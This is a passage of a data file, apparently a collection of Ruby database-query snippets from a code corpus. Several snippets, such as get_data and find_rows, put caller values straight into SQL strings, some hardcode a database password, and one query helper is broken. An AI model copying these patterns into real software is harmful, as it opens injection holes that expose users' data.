ActiveRecord allows a query to return TOP 0. SQL Anywhere requires that the TOP value is a positive integer.\n return Array.new() if sql =~ /TOP 0/i\n\n stmt = SA.instance.api.sqlany_prepare(@connection, sql)\n \n # sql may contain unbounded params\n \n i = 0\n binds.map do |col, val|\n result, param = SA.instance.api.sqlany_describe_bind_param(stmt, i)\n param.set_value(type_cast(val, col)) if result\n result = SA.instance.api.sqlany_bind_param(stmt, i, param) if param\n i = i + 1\n end\n \n # Executes the query, iterates through the results, and builds an array of hashes.\n # rs = SA.instance.api.sqlany_execute_direct(@connection, sql)\n return [] if stmt.nil?\n result = SA.instance.api.sqlany_execute(stmt)\n if result.nil?\n result, errstr = SA.instance.api.sqlany_error(@connection)\n raise SQLAnywhereException.new(errstr, result, sql)\n end\n \n record = []\n if( SA.instance.api.sqlany_num_cols(stmt) > 0 ) \n while SA.instance.api.sqlany_fetch_next(stmt) == 1\n max_cols = SA.instance.api.sqlany_num_cols(stmt)\n result = Hash.new()\n max_cols.times do |cols|\n result[SA.instance.api.sqlany_get_column_info(stmt, cols)[2]] = SA.instance.api.sqlany_get_column(stmt, cols)[1]\n end\n record << result\n end\n @affected_rows = 0\n else\n @affected_rows = SA.instance.api.sqlany_affected_rows(stmt)\n end \n SA.instance.api.sqlany_free_stmt(stmt)\n\n SA.instance.api.sqlany_commit(@connection)\n \n return record\n end", "def db_fetch\n \"SELECT *\" + from_table_where + sql_match_conditions\n end", "def get_budgets(db)\r\n budgets = db.execute(\"SELECT * FROM budgets\")\r\nend", "def fetch_all(key); end", "def get_first_satisfiedPK\n # allColumns = @allColumnList.map do |field|\n # \t# \"#{field.colname} as #{field.relname}_#{field.colname} \"\n # \t\"#{field.relname}_#{field.colname} \"\n # end.join(',')\n query = \"select #{@allColumns_renamed} from golden_record where type = 'satisfied' and branch = '#{@branches[0].name}';\"\n res = DBConn.exec(query)\n abort(\"Cannot find satisfied tuple at #{@branches[0].name}!\") if res.ntuples == 0\n res\n end", "def employees_of_dept(dept)\n<<-SQL\n SELECT employees.name\n FROM employees\n JOIN departments ON employees.department_id = departments.id\n WHERE departments.name = ?\nSQL\nend", "def bookings_with_suite_numbers\n ActiveRecord::Base.connection.exec_query(custom_sql).collect &:values\nend", "def find_articles\n connection = PG.connect(dbname: 'slacker_news')\n results = connection.exec('SELECT * FROM articles ORDER BY created_at DESC')\n connection.close\n\n results\nend", "def create_stats_tbl\n tblName = \"#{@table}_stat\"\n creationQuery = \"select ''::text as key, ''::text as value from t_result where 1 =2\"\n # puts creationQuery\n DBConn.tblCreation(tblName, 'key', creationQuery)\n\n parseTree = @parseTree\n\n # fromPT = parseTree['SELECT']['fromClause']\n originalTargeList = parseTree['SELECT']['targetList']\n # fields = DBConn.getAllRelFieldList(fromPT)\n keyList = []\n valueList = []\n selectList = []\n pkJoinList = []\n \n pkArray = @pkList.split(',').map { |col| col.delete(' ') }\n pkArray.each do |pkcol|\n originalTargeList.each do |targetCol|\n targetField = targetCol['RESTARGET']['val']['COLUMNREF']['fields']\n if targetField.count > 1 && targetField[1].to_s == pkcol\n pkJoinList << \"t.#{pkcol} = #{targetField[0]}.#{targetField[1]}\"\n pkArray.delete(pkcol)\n end\n end\n end\n\n stats = {\n \"min\": {\"func\": \"min($COLUMN)\", \"type\": \"text\" },\n \"max\": {\"func\": \"max($COLUMN)\", \"type\": \"text\" },\n \"count\": {\"func\": \"count($COLUMN)\", \"type\": \"int\" },\n \"dist_count\": {\"func\": \"count(distinct $COLUMN)\", \"type\": \"int\" }\n }\n @all_cols.each do |field|\n # puts field.colname\n rel_alias = field.relalias\n stats.each do |stat, info|\n # SELECT\n # UNNEST(ARRAY['address_id_max','address_id_min']) AS key,\n # UNNEST(ARRAY[max(address_id),min(address_id)]) AS value\n # FROM address\n # only add N(umeric) and D(ate) type fields\n if %w(N D).include? field.typcategory\n keyList << \"'#{field.relname}_#{field.colname}_#{stat}'\"\n value = info[:func].gsub('$COLUMN',\"result.#{field.relname}_#{field.colname}\")\n # if info[:type] == 'text'\n value = \"#{value}::text\"\n # end\n valueList << value\n # valueList << \"#{stat}(result.#{field.relname}_#{field.colname})::text\"\n end\n end\n selectList << \"#{rel_alias}.#{field.colname} as #{field.relname}_#{field.colname} \"\n\n # construnct pk join cond\n if pkArray.include?(field.colname)\n pkJoinList << \"#{@table}.#{field.colname} = #{rel_alias}.#{field.colname}\"\n end\n end\n\n # # remove the where clause in query and replace targetList\n whereClauseReplacement = []\n selectQuery = ReverseParseTree.reverseAndreplace(parseTree, selectList.join(','), whereClauseReplacement)\n resultQuery = %(with result as (#{selectQuery} join #{@table} on #{pkJoinList.join(' AND ')}))\n newTargetList = \"UNNEST(ARRAY[#{keyList.join(',')}]) AS key, UNNEST(ARRAY[#{valueList.join(',')}]) as value\"\n\n newQuery = %(#{resultQuery} SELECT #{newTargetList} FROM result)\n query = %(INSERT INTO #{tblName} #{newQuery})\n # puts query\n DBConn.exec(query)\n end", "def db; end", "def db; end", "def query_name(v_quote)\n\n begin\n\n # connect to the database\n conn = PG.connect(dbname: 'test', user: 'something', password: '4321')\n\n # prepare SQL statement\n conn.prepare('q_statement',\n \"select details.id, name, age, quote\n from details\n join quotes on details.id = quotes.details_id\n where quote = $1\")\n\n # execute prepared SQL statement\n rs = conn.exec_prepared('q_statement', [v_quote])\n\n # deallocate prepared statement variable\n conn.exec(\"deallocate q_statement\")\n\n # return array of values returned by SQL statement\n return rs.values[0]\n\n rescue PG::Error => e\n\n puts 'Exception occurred'\n puts e.message\n\n ensure\n\n conn.close if conn\n\n end\n\nend", "def db_query cod\n lista = []\n if cod.nil? \n return lista \n end\n itens = $db.query \"SELECT cod, prod, prec FROM produtos WHERE cod=?\", cod\n itens.each { |results| lista.push results }\n return lista\nend", "def employee_first_names_and_store_names\n ActiveRecord::Base.connection.exec_query(custom_sql).collect &:values\nend", "def columns(table)\n dbh = DBI::DatabaseHandle.new(self)\n uniques = []\n dbh.execute(\"SHOW INDEX FROM #{table}\") do |sth|\n sth.each do |row|\n uniques << row[4] if row[1] == \"0\"\n end\n end \n\n ret = nil\n dbh.execute(\"SHOW FIELDS FROM #{table}\") do |sth|\n ret = sth.collect do |row|\n name, type, nullable, key, default, extra = row\n #type = row[1]\n #size = type[type.index('(')+1..type.index(')')-1]\n #size = 0\n #type = type[0..type.index('(')-1]\n\n sqltype, type, size, decimal = mysql_type_info(row[1])\n col = Hash.new\n col['name'] = name\n col['sql_type'] = sqltype\n col['type_name'] = type\n col['nullable'] = nullable == \"YES\"\n col['indexed'] = key != \"\"\n col['primary'] = key == \"PRI\"\n col['unique'] = uniques.index(name) != nil\n col['precision'] = size\n col['scale'] = decimal\n col['default'] = row[4]\n col\n end # collect\n end # execute\n \n ret\n end", "def _select_map_single\n rows = []\n clone(:_sequel_pg_type=>:first).fetch_rows(sql){|s| rows << s}\n rows\n end", "def write_sql model_name, model_attributes,output\n model_attributes.each do|key,query|\n sql= ActiveRecord::Base.connection();\n (sql.select_all query).each do |row|\n make_triples(row,model_name,\"\")\n end\n end\n end", "def GetTable(vHsh) # Get values from Oracle Tables, return value or unknown in vHsh[\"tPpqId\"] , value of ctl_file_id in vHsh[\"tFileId\"] or leave alone, value of ctl_status in vHsh[\"tStatus\"] or leave alone.\n x = vHsh[\"fFileName\"] \n dir01 = vHsh[\"dirXml\"]\n d1 = dir01 + \"/\" + x\n lineCount = 0\n dgs = 0\n sDGS = ' ' \n tDgsCount = 0\n tPPQ = ' '\n tCtlFileId = 0\n tDistinct = vHsh[\"fileRecordCount\"] \n vHsh[\"tDgs\"] = vHsh[\"fDgs\"] # assume correct\n vHsh[\"tPpqId\"] = vHsh[\"fPpqId\"] \n \n if tDistinct == 1 # will find from query of table using file dgs\n \n query = \"SELECT f.ctl_file_id, T.PPQ_ID, f.ctl_status_id,P.CTL_PROJECT_ID\n FROM ctl_file f ,ctl_project p, ctl_traveler t\n WHERE f.digital_gs_number = '#{vHsh[\"tDgs\"]}'\n AND f.CTL_PROJECT_ID = p.ctl_project_id\n AND P.CTL_TRAVELER_ID = T.CTL_TRAVELER_ID\" \n \n $LOG.debug(\"GetTable query1 #{query}\") \n stmt = @db.prepare(query)\n stmt.execute\n row = stmt.fetch \n vHsh[\"tFileId\"] = row[0].to_i\n vHsh[\"tPpqId\"] = row[1]\n vHsh[\"tStatus\"] = row[2]\n vHsh[\"tProjId\"] = row[3].to_i\n stmt.finish\n vHsh[\"fPpqId\"] = vHsh[\"tPpqId\"] # We found it\n \n elsif vHsh[\"fPpqId\"] != 'unknown' and vHsh[\"fDgs\"] != 'unknown' # info came in with file\n vHsh[\"tPpqId\"] = vHsh[\"fPpqId\"] # assume correct\n \n query = \"SELECT f.ctl_file_id, T.PPQ_ID, f.ctl_status_id,P.CTL_PROJECT_ID\n FROM ctl_file f ,ctl_project p, ctl_traveler t\n WHERE f.digital_gs_number = '#{vHsh[\"tDgs\"]}'\n AND f.CTL_PROJECT_ID = p.ctl_project_id\n AND P.CTL_TRAVELER_ID = T.CTL_TRAVELER_ID\n AND T.PPQ_ID = '#{vHsh[\"tPpqId\"]}'\" \n # puts query \n $LOG.debug(\"GetTable query2 #{query}\")\n stmt = @db.prepare(query)\n stmt.execute\n row = stmt.fetch \n vHsh[\"tFileId\"] = row[0].to_i\n vHsh[\"tStatus\"] = row[2]\n vHsh[\"tProjId\"] = row[3].to_i\n stmt.finish\n else\n puts 'indeterminate'\n end \n ShowHash(vHsh)\n rescue => err\n puts \"Exception11: #{err}\"\n $LOG.error(\"Exception11: #{err}\") \n raise\n end", "def private; end", "def alchemy\r\n end", "def sql\n <<-SQL\n -- Search learning paths\n SELECT DISTINCT\n c.id,\n c.name,\n c.course_code,\n c.settings,\n cc.content,\n 'learning_path' AS content_type,\n c.id AS learning_path_id,\n 0 AS learning_objective_id\n FROM courses c\n LEFT OUTER JOIN fearless_taggings ts\n ON ts.taggable_id = c.id AND ts.taggable_type = 'LearningPath'\n LEFT OUTER JOIN fearless_tags t\n ON t.id = ts.tag_id\n LEFT OUTER JOIN fearless_custom_contents cc\n ON cc.contentable_id = c.id AND cc.contentable_type = 'LearningPath'\n WHERE 0=0\n #{construct_account_clause}\n #{construct_course_worklow_clause}\n #{construct_name_sql}\n #{construct_all_tags_search('t', 'name')}\n UNION ALL\n -- Search learning objectives\n SELECT DISTINCT\n cm.id,\n cm.name,\n c.course_code,\n c.settings,\n cc.content,\n 'learning_objective' AS content_type,\n cm.context_id::bigint AS learning_path_id,\n cm.id::bigint AS learning_objective_id\n FROM context_modules cm\n INNER JOIN courses c\n ON c.id = cm.context_id\n AND cm.context_type = 'Course'\n LEFT OUTER JOIN fearless_taggings ts\n ON ts.taggable_id = cm.id AND ts.taggable_type = 'LearningObjective'\n LEFT OUTER JOIN fearless_tags t\n ON t.id = ts.tag_id\n LEFT OUTER JOIN fearless_custom_contents cc\n ON cc.contentable_id = cm.id AND cc.contentable_type = 'LearningObjective'\n WHERE 0=0\n #{construct_account_clause}\n #{construct_generic_workflow_clause('cm')}\n #{construct_name_sql('cm')}\n #{construct_all_tags_search('t', 'name')}\n UNION ALL\n -- Search learning learning_event\n SELECT DISTINCT\n ct.id,\n ct.title AS name,\n c.course_code,\n c.settings,\n cc.content,\n 'learning_event' AS content_type,\n ct.context_id::bigint AS learning_path_id,\n ct.context_module_id::bigint AS learning_objective_id\n FROM content_tags ct\n INNER JOIN courses c\n ON c.id = ct.context_id\n AND ct.context_type = 'Course'\n LEFT OUTER JOIN fearless_taggings ts\n ON ts.taggable_id = ct.id AND ts.taggable_type = 'LearningEvent'\n LEFT OUTER JOIN fearless_tags t\n ON t.id = ts.tag_id\n LEFT OUTER JOIN fearless_custom_contents cc\n ON cc.contentable_id = ct.id AND cc.contentable_type = 'LearningEvent'\n WHERE 0=0\n #{construct_account_clause}\n #{construct_generic_workflow_clause('ct')}\n #{construct_name_sql('ct', 'title')}\n #{construct_all_tags_search('t', 'name')}\n SQL\n end", "def query_name(v_name)\n\n begin\n\n # connect to the database\n conn = PG.connect(dbname: 'test', user: 'something', password: '4321')\n\n # prepare SQL statement\n conn.prepare('q_statement',\n \"select details.id, name, age, num_1, num_2, num_3\n from details\n join numbers on details.id = numbers.details_id\n where name = $1\")\n\n # execute prepared SQL statement\n rs = conn.exec_prepared('q_statement', [v_name])\n\n # deallocate prepared statement variable\n conn.exec(\"deallocate q_statement\")\n\n # return array of values returned by SQL statement\n return rs.values[0]\n\n rescue PG::Error => e\n\n puts 'Exception occurred'\n puts e.message\n\n ensure\n\n conn.close if conn\n\n end\n\nend", "def get_all_actors\n query = %Q{\n SELECT * FROM actors\n ORDER BY name\n }\n\n results = db_connection do |conn|\n conn.exec(query)\n end\n\n results.to_a\nend", "def retrieve_database_meta(modelname, adapter,driver,host,username,password,database,urltemplate)\n \n urltemplate.gsub!(\"{host}\",host)\n urltemplate.gsub!(\"{password}\",password)\n urltemplate.gsub!(\"{username}\",username)\n urltemplate.gsub!(\"{database}\",database)\n mdmtype=MdmDataType.first\n \n curr_connect = ActiveRecord::Base.connection\n if adapter==\"mysql\"\n arconfig = {\n :adapter => adapter,\n :host => host,\n :username => username,\n :password => password,\n :database => database }\n \n config = ActiveRecord::ConnectionAdapters::ConnectionSpecification.new( {\n :adapter => adapter,\n :driver => driver,\n :username => username,\n :password => password,\n :host => host,\n :url => urltemplate,\n :pool => 2\n }, 'mysql_connection')\n \n connection = ActiveRecord::ConnectionAdapters::ConnectionPool.new(config)\n \n else\n # jdbc = JDBCAR.new\n # connection = jdbc.connect(driver,username,password,urltemplate)\n arconfig = {:adapter => 'jdbc',\n :driver => driver,\n :username => username,\n :password => password,\n :url => urltemplate,\n :pool => 2}\n config = ActiveRecord::ConnectionAdapters::ConnectionSpecification.new( {\n :adapter => 'jdbc',\n :driver => driver,\n :username => username,\n :password => password,\n \n :url => urltemplate,\n :pool => 2\n }, 'jdbc_connection')\n \n connection = ActiveRecord::ConnectionAdapters::ConnectionPool.new(config)\n end\n \n primary_k = {}\n newtables={}\n metaconnect = connection.checkout\n metaconnect.tables.each do |table|\n newtables[table] = [] \n primary_k[table] = metaconnect.primary_key(table)\n metaconnect.columns(table.to_s).each do |col|\n newtables[table] << col.name\n print col.name + \", \"\n end\n end\n \n connection.checkin metaconnect\n \n \n mdm_model = MdmModel.find_by_name(modelname) \n mdm_model = MdmModel.new if mdm_model.nil? \n mdm_model.connect_src = serialize_config(adapter,driver,host,username,password,database,urltemplate)\n mdm_model.name = modelname\n newtables.keys.each do |table|\n mdmexist = MdmObject.find_by_name(table)\n mdmexist.destroy if mdmexist\n mdmobject = MdmObject.new\n mdmobject.name=table\n newtables[table].each do |col|\n mdmcolumn = MdmColumn.new\n mdmcolumn.name = col\n mdmcolumn.mdm_data_type = mdmtype\n mdmcolumn.is_primary_key=true if !primary_k[table].nil? && primary_k[table].include?(mdmcolumn.name)\n mdmcolumn.save\n if mdmcolumn.is_primary_key\n pk = MdmPrimaryKey.new\n pk.mdm_column = mdmcolumn\n mdmobject.mdm_primary_keys << pk\n end\n mdmobject.mdm_columns << mdmcolumn\n end\n mdm_model.mdm_objects << mdmobject\n \n end\n \n mdm_model.save\n generate_active_record(mdm_model,arconfig)\n end", "def multi_insert_sql_strategy\n :union\n end", "def read_initial_db_values\n session[:database][:dbid] = sql_select_one \"SELECT /* Panorama Tool Ramm */ DBID FROM v$Database\"\n session[:database][:db_block_size] = sql_select_one \"SELECT /* Panorama Tool Ramm */ TO_NUMBER(Value) FROM v$parameter WHERE UPPER(Name) = 'DB_BLOCK_SIZE'\"\n session[:database][:version] = sql_select_one \"SELECT /* Panorama Tool Ramm */ Version FROM V$Instance\"\n session[:database][:wordsize] = sql_select_one \"SELECT DECODE (INSTR (banner, '64bit'), 0, 4, 8) FROM v$version WHERE Banner LIKE '%Oracle Database%'\"\n end", "def dbselect2(find, table)\n if find.kind_of?(Array) == false\n variables = find\n else\n variables = \"\"\n i = 0\n while i < find.length\n variables += find[i].to_s\n i += 1\n if i < find.length\n variables += \", \"\n end\n end\n end\n return db.execute(\"SELECT #{variables} FROM #{table}\")\nend", "def relation_by_sql_form\n # Nothing to do here\n end", "def ordering_query; end", "def db_listing\n lista = [] \n achado = $db.query \"SELECT * FROM produtos\" \n achado.each do |vals| \n lista.push vals\n end\n return lista\nend", "def run_single(us)\n #debugger\n initial_data = []\n column_names = us.get_column_names\n num_rows = 1\n \n c = 0\n 0.upto(num_rows - 1) do\n o = OpenStruct.new\n class << o\n attr_accessor :id\n end\n\n #turn the outgoing object into a VO if neccessary\n map = VoUtil.get_vo_definition_from_active_record(us.class.to_s)\n if map != nil\n o._explicitType = map[:outgoing]\n end\n \n #first write the primary \"attributes\" on this AR object\n column_names.each_with_index do |v,k|\n k = column_names[k]\n val = us.send(:\"#{k}\")\n eval(\"o.#{k}=val\")\n end\n \n associations = us.get_associates\n if(!associations.empty?)\n #debugger\n #now write the associated models with this AR\n associations.each do |associate|\n na = associate[1, associate.length]\n ar = us.send(:\"#{na}\")\n\t\n ok = false;\n if (ar.instance_of? Array)\n if (!ar.empty? && !ar.nil?)\n ok=true;\n end\n else\n isArray = true\n end\n\n if (isArray && !ar.nil?) || ok \n\n\t if(use_single?(ar))\n initial_data_2 = run_single(ar) #recurse into single AR method for same data structure\n else\n initial_data_2 = run_multiple(ar) #recurse into multiple AR method for same data structure\n end\n eval(\"o.#{na}=initial_data_2\")\n end\n end\n end\n #\tdebugger\n # if us.single? # apparenty this is not needed since it seems to always return nil :)\n initial_data = o \n # else\n # initial_data << o\n # end\n c += 1\n end\n initial_data\n end", "def to_db(ex,db)\n begin\n db_val1, hop_val1 = @expr1.to_db(ex,db)\n db_val2, hop_val2 = @expr2.to_db(ex,db)\n if @short\n #short-circuit\n if not db_val1.nil? and not db_val2.nil?\n #all calculated\n\n case op\n when 'and'\n db_cond=db.and(db_val1, db_val2)\n db_cond=db_val1 if db_cond.nil?\n return db_cond, self\n when 'or'\n return db.or(db_val1, db_val2), self\n else\n hop_warn \"#{op}: unsupported short-cirtuit binary operator\"\n return nil, self\n end\n else\n # sometnig cannot be calculated\n case op\n when 'or'\n # 8( all DB must be searched...\n return nil, self\n when 'and'\n return db_val2, self if(db_val1.nil?)\n return db_val1, self\n else\n hop_warn \"#{op}: unsupported short-cirtuit binary operator\"\n return nil, nil\n end\n end #if calculated\n elsif op == 'ins'\n # nodeset\n res = nil\n db_res = db.inset db_val1, db_val2\n return db_res, self\n else\n #full evaluation\n #if @pre_conv\n # hop_val1 = hop_val1.to_f\n # hop_val2 = hop_val2.to_f\n #end\n res = nil\n db_res = db.binary(db_val1,db_val2,@op)\n\n #res = res.to_s if @post_conv\n\n return db_res, self\n end\n rescue => e\n raise #e.message+' at line '+@code_line.to_s\n end\n end", "def late_materialization(db)\n part_result_1 = []\n part_result_2 = []\n db[\"country\"][\"dic\"].each_with_index do |v, i|\n if v == \"GER\" \n db[\"country\"][\"av\"].each.with_index do |val, ind|\n if val == i then part_result_1.push(ind) end\n end\n break\n end\n end\n db[\"gender\"][\"dic\"].each_with_index do |v, i|\n if v == \"M\" \n db[\"gender\"][\"av\"].each.with_index do |val, ind|\n if val == i then part_result_2.push(ind) end\n end\n break\n end\n end \n # with this returned array we can materialize the\n # row the length of the array is the aggregation\n # in this case the materialiation is not neccessarry\n (part_result_1 & part_result_2)\nend", "def all(query); end", "def get_data(user_name)\n begin\n conn = open_db()\n conn.prepare('q_statement',\n \"select *\n from details\n join numbers on details.id = numbers.details_id\n join quotes on details.id = quotes.details_id\n where details.name = '#{user_name}'\")\n user_hash = conn.exec_prepared('q_statement')\n conn.exec(\"deallocate q_statement\")\n return user_hash[0]\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n ensure\n conn.close if conn\n end\nend", "def target_sql_mode=(_arg0); end", "def query sql\n result = db[sql].all\n return result\n end", "def base_query\n [nil]\n end", "def _schema_ds\n @_schema_ds ||= begin\n ds = metadata_dataset.select{[\n pg_attribute[:attname].as(:name),\n SQL::Cast.new(pg_attribute[:atttypid], :integer).as(:oid),\n SQL::Cast.new(basetype[:oid], :integer).as(:base_oid),\n SQL::Function.new(:format_type, basetype[:oid], pg_type[:typtypmod]).as(:db_base_type),\n SQL::Function.new(:format_type, pg_type[:oid], pg_attribute[:atttypmod]).as(:db_type),\n SQL::Function.new(:pg_get_expr, pg_attrdef[:adbin], pg_class[:oid]).as(:default),\n SQL::BooleanExpression.new(:NOT, pg_attribute[:attnotnull]).as(:allow_null),\n SQL::Function.new(:COALESCE, SQL::BooleanExpression.from_value_pairs(pg_attribute[:attnum] => SQL::Function.new(:ANY, pg_index[:indkey])), false).as(:primary_key),\n Sequel[:pg_type][:typtype],\n (~Sequel[Sequel[:elementtype][:oid]=>nil]).as(:is_array),\n ]}.\n from(:pg_class).\n join(:pg_attribute, :attrelid=>:oid).\n join(:pg_type, :oid=>:atttypid).\n left_outer_join(Sequel[:pg_type].as(:basetype), :oid=>:typbasetype).\n left_outer_join(Sequel[:pg_type].as(:elementtype), :typarray=>Sequel[:pg_type][:oid]).\n left_outer_join(:pg_attrdef, :adrelid=>Sequel[:pg_class][:oid], :adnum=>Sequel[:pg_attribute][:attnum]).\n left_outer_join(:pg_index, :indrelid=>Sequel[:pg_class][:oid], :indisprimary=>true).\n where{{pg_attribute[:attisdropped]=>false}}.\n where{pg_attribute[:attnum] > 0}.\n order{pg_attribute[:attnum]}\n\n # :nocov:\n if server_version > 100000\n # :nocov:\n ds = ds.select_append{pg_attribute[:attidentity]}\n\n # :nocov:\n if server_version > 120000\n # :nocov:\n ds = ds.select_append{Sequel.~(pg_attribute[:attgenerated]=>'').as(:generated)}\n end\n end\n\n ds\n end\n end", "def get_movie_info(movie_id)\n query = %Q{\n SELECT movies.title, movies.year, movies.id, movies.rating, genres.name AS genre, studios.name AS studio,\n actors.id AS actor_id, actors.name AS actor, cast_members.character AS role\n FROM movies\n JOIN genres ON genres.id = movies.genre_id\n JOIN studios ON studios.id = movies.studio_id\n JOIN cast_members ON cast_members.movie_id = movies.id\n JOIN actors ON actors.id = cast_members.actor_id\n WHERE movies.id = $1;\n }\n\n results = db_connection do |conn|\n conn.exec_params(query, [movie_id])\n end\n\n results.to_a\nend", "def get_column_entries(column)\n jso = Hash.new() \n jss = self.get_structure()\n db_column = nil\n # Is the column recognized?\n if jss.has_key? column then\n db_column = jss[column].split(\"/\")[1]\n else\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n \n # Connect to database\n dbe = MIDB::API::Dbengine.new(@engine.config, @db)\n dblink = dbe.connect()\n rows = dbe.query(dblink, \"SELECT * FROM #{self.get_structure.values[0].split('/')[0]};\")\n if rows == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n # Iterate over all rows of this table\n rows.each do |row|\n\n name = column\n dbi = jss[name]\n table = dbi.split(\"/\")[0]\n field = dbi.split(\"/\")[1]\n # Must-match relations (\"table2/field/table2-field->row-field\")\n if dbi.split(\"/\").length > 2\n match = dbi.split(\"/\")[2]\n matching_field = match.split(\"->\")[0]\n row_field = match.split(\"->\")[1]\n query = dbe.query(dblink, \"SELECT #{field} FROM #{table} WHERE #{matching_field}=#{row[row_field]};\")\n else\n query = dbe.query(dblink, \"SELECT #{field} from #{table} WHERE id=#{row['id']};\")\n end\n if query == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n jso[row[\"id\"]] = {}\n jso[row[\"id\"]][name] = dbe.length(query) > 0 ? dbe.extract(query,field) : \"unknown\"\n jso[row[\"id\"]][name] = @hooks.format_field(name, jso[row[\"id\"]][name])\n end\n @hooks.after_get_all_entries(dbe.length(rows))\n return jso\n end", "def osvdb\n\t\t\t\t\twhere(:reference_name => \"osvdb\").select('DISTINCT value')\n\t\t\t\tend", "def find_interest_id(db, interest_name)\n interest_id = db.execute(\"SELECT interests.id FROM interests WHERE interest='#{interest_name}'\")\n interest_id[0][0]\nend", "def execute sql\n db[sql]\n end", "def select(*) end", "def queryAndConvert() \n\t\tres = self.query()\n\t\treturn res.convert()\n end", "def setting_key\n sql_cmd = <<SQLCMD\nSELECT max(s.created_at), max(s.updated_at), count(*)\nFROM (\n#{setting_key_tables.collect{|t| 'SELECT created_at, updated_at FROM ' + t.to_s.tableize }.join(' UNION ALL ') }\n) s\nSQLCMD\n\n connection.select_one(sql_cmd).inspect\n end", "def make_query data_set\n if data_set.has_key?(:new_old)\n query={:case_n => data_set[:case_n],:cd_type=>data_set[:cd_type], :new_old=>data_set[:new_old]}\n elsif data_set.has_key?(:tile)\n query={:case_n => data_set[:case_n],:cd_type=>data_set[:cd_type], :tile=>data_set[:tile]}\n else\n query={:case_n => data_set[:case_n],:cd_type=>data_set[:cd_type]}\n end\n query\nend", "def find_by()\n\n end", "def exec_query(query, conn = ActiveRecord::Base.connection)\n res = conn.exec_query(query)\n puts res.rows.map { |r| r.map(&:inspect).join(\",\") }.join('\\n')\n res.to_a\nend", "def dbms_type_cast(columns, rows)\n # Cast the values to the correct type\n columns.each_with_index do |column, col_index|\n #puts \" #{column.name} type #{column.type} length #{column.length} nullable #{column.nullable} scale #{column.scale} precision #{column.precision} searchable #{column.searchable} unsigned #{column.unsigned}\"\n rows.each do |row|\n value = row[col_index]\n\n new_value = case\n when value.nil?\n nil\n when [ODBC::SQL_CHAR, ODBC::SQL_VARCHAR, ODBC::SQL_LONGVARCHAR].include?(column.type)\n # Do nothing, because the data defaults to strings\n # This also covers null values, as they are VARCHARs of length 0\n value.is_a?(String) ? value.force_encoding(\"UTF-8\") : value\n when [ODBC::SQL_DECIMAL, ODBC::SQL_NUMERIC].include?(column.type)\n column.scale == 0 ? value.to_i : value.to_f\n when [ODBC::SQL_REAL, ODBC::SQL_FLOAT, ODBC::SQL_DOUBLE].include?(column.type)\n value.to_f\n when [ODBC::SQL_INTEGER, ODBC::SQL_SMALLINT, ODBC::SQL_TINYINT, ODBC::SQL_BIGINT].include?(column.type)\n value.to_i\n when [ODBC::SQL_BIT].include?(column.type)\n value == 1\n when [ODBC::SQL_DATE, ODBC::SQL_TYPE_DATE].include?(column.type)\n value.to_date\n when [ODBC::SQL_TIME, ODBC::SQL_TYPE_TIME].include?(column.type)\n value.to_time\n when [ODBC::SQL_DATETIME, ODBC::SQL_TIMESTAMP, ODBC::SQL_TYPE_TIMESTAMP].include?(column.type)\n value.to_datetime\n # when [\"ARRAY\"?, \"OBJECT\"?, \"VARIANT\"?].include?(column.type)\n # TODO: \"ARRAY\", \"OBJECT\", \"VARIANT\" all return as VARCHAR\n # so we'd need to parse them to make them the correct type\n\n # As of now, we are just going to return the value as a string\n # and let the consumer handle it. In the future, we could handle\n # if here, but there's not a good way to tell what the type is\n # without trying to parse the value as JSON as see if it works\n # JSON.parse(value)\n when [ODBC::SQL_BINARY].include?(column.type)\n # These don't actually ever seem to return, even though they are\n # defined in the ODBC driver, but I left them in here just in case\n # so that future us can see what they should be\n value\n else\n # the use of @connection.types() results in a \"was not dropped before garbage collection\" warning.\n raise \"Unknown column type: #{column.type} #{@connection.types(column.type).first[0]}\"\n end\n\n row[col_index] = new_value\n end\n end\n rows\n end", "def select; end", "def select; end", "def find_rows(field_name, record_id) \n results = CONNECTION.execute(\"SELECT * FROM #{self.table_name} WHERE #{field_name} = #{record_id}\")\n \n return self.results_as_objects(results) \n end", "def __foreign_key_list_ds(reverse)\n if reverse\n ctable = Sequel[:att2]\n cclass = Sequel[:cl2]\n rtable = Sequel[:att]\n rclass = Sequel[:cl]\n else\n ctable = Sequel[:att]\n cclass = Sequel[:cl]\n rtable = Sequel[:att2]\n rclass = Sequel[:cl2]\n end\n\n if server_version >= 90500\n cpos = Sequel.expr{array_position(co[:conkey], ctable[:attnum])}\n rpos = Sequel.expr{array_position(co[:confkey], rtable[:attnum])}\n # :nocov:\n else\n range = 0...32\n cpos = Sequel.expr{SQL::CaseExpression.new(range.map{|x| [SQL::Subscript.new(co[:conkey], [x]), x]}, 32, ctable[:attnum])}\n rpos = Sequel.expr{SQL::CaseExpression.new(range.map{|x| [SQL::Subscript.new(co[:confkey], [x]), x]}, 32, rtable[:attnum])}\n # :nocov:\n end\n\n ds = metadata_dataset.\n from{pg_constraint.as(:co)}.\n join(Sequel[:pg_class].as(cclass), :oid=>:conrelid).\n join(Sequel[:pg_attribute].as(ctable), :attrelid=>:oid, :attnum=>SQL::Function.new(:ANY, Sequel[:co][:conkey])).\n join(Sequel[:pg_class].as(rclass), :oid=>Sequel[:co][:confrelid]).\n join(Sequel[:pg_attribute].as(rtable), :attrelid=>:oid, :attnum=>SQL::Function.new(:ANY, Sequel[:co][:confkey])).\n join(Sequel[:pg_namespace].as(:nsp), :oid=>Sequel[:cl2][:relnamespace]).\n order{[co[:conname], cpos]}.\n where{{\n cl[:relkind]=>%w'r p',\n co[:contype]=>'f',\n cpos=>rpos\n }}.\n select{[\n co[:conname].as(:name),\n ctable[:attname].as(:column),\n co[:confupdtype].as(:on_update),\n co[:confdeltype].as(:on_delete),\n cl2[:relname].as(:table),\n rtable[:attname].as(:refcolumn),\n SQL::BooleanExpression.new(:AND, co[:condeferrable], co[:condeferred]).as(:deferrable),\n nsp[:nspname].as(:schema)\n ]}\n\n if reverse\n ds = ds.order_append(Sequel[:nsp][:nspname], Sequel[:cl2][:relname])\n end\n\n ds\n end", "def skip_schema_queries=(_arg0); end", "def check_duplicate_item(db, tbl,field_name,value)\r\n check_command = \"Select * from ? where ? = ?\",[tbl, field_name,value]\r\n if db.execute(check_command).length > 0\r\n return true\r\n else \r\n return false \r\n end \r\nend", "def sql_load\n row = DBIntf.get_first_row(\"SELECT * FROM #{tbl_name} #{generate_where_on_pk};\")\n return row.nil? ? reset : load_from_row(row)\n end" ]
